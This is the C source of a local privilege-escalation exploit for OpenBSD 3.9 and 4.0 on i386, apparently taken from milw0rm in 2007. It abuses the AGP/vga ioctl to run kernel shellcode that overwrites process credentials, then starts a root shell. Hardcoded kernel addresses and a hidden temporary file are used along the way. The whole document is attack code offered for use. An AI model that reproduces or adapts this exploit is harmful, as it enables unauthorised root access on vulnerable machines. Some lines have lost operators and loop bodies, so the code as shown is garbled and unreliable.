Critical Security OpenBSD 3.x-4.0 vga_ioctl() root exploit

Bug had been discovered by allmighty Ilja van Sprundel (ilja.netric.org)
Some code had been stolen from noir's openbsd exploit sources

Fix is available:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/i386/007_agp.patch

Critical Security [http://www.critical.lt], Lithuania, Vilnius, 2007

Linkejimai neegzistuojancio fronto kariams ;]

*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define TARGET1 "\x51\x47\x48\xd0" /* 0xd0484751 obsd 4.0 generic i386*/
#define TARGET2 "\xa9\x42\x10\xd0" /* 0xd01042a9 obsd 3.9 generic i386*/

char shellcode[]=
"\x18\x00\x00\x00"
"\x18\x00\x00\x00"
"\x18\x00\x00\x00" /* some crap */
"\x18\x00\x00\x00"
"\x18\x00\x00\x00"

"\x18\x00\x00\x00" /* jmp 0x00000018 */

"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad"
"\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred u_cred shellcode */
"\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89\x42\x04"

"\xb8\x51\x47\x48\xd0"
"\xff\xe0";

void usage()
{
printf("Usage: crit_obsd_ex target\n\n");
printf("valid targets:\n");
printf("(1)\tobsd 4.0 generic i386\n");
printf("(2)\tobsd 3.9 generic i386\n\n");
exit(0);
}

void get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;

arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, NULL, 0) 0) {
perror("sysctl");
printf("this is an unexpected error, rerun!\n");
exit(-1);
}
}

int main(int ac, char *av[])
{
int i;
void *p;
int fd,failas;
u_long pprocadr;
struct kinfo_proc kp;

printf("\n+--------------------------------------------+\n");
printf("| Critical Security local obsd root |\n");
printf("+--------------------------------------------+\n\n");

if (ac usage();
if(atoi(av[1])==1)
{
for(i=0;i
}
else if(atoi(av[1])==2)
{
for(i=0;i
}
else {usage();}

get_proc((pid_t) getpid(),
pprocadr = (u_long) kp.kp_eproc.e_paddr;

shellcode[24+5] = pprocadr 0xff;
shellcode[24+6] = (pprocadr 8) 0xff;
shellcode[24+7] = (pprocadr 16) 0xff;
shellcode[24+8] = (pprocadr 24) 0xff;

printf("[~] shellcode size: %d\n",sizeof(shellcode));

fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
if(fd 0)
err(1, "open");

write(fd, shellcode, sizeof(shellcode));
if((lseek(fd, 0L, SEEK_SET)) 0)
err(1, "lseek");

p=mmap(0, sizeof(shellcode), PROT_READ|PROT_EXEC, MAP_FIXED, fd, 0);
if (p == MAP_FAILED)
err(1, "mmap");

printf("[~] map addr: 0x%x\n",p);
printf("[~] exploiting...\n");
failas = open(AGP_DEVICE, O_RDWR);
syscall(SYS_ioctl, failas, 0x80044103, NULL);

close(failas);
close(fd);

seteuid(0);
setuid(0);
printf("[~] uid: %d euid: %d gid: %d \n", getuid(), geteuid(),getgid());
execl("/bin/sh", "cyber", NULL);

}

// milw0rm.com [2007-01-07]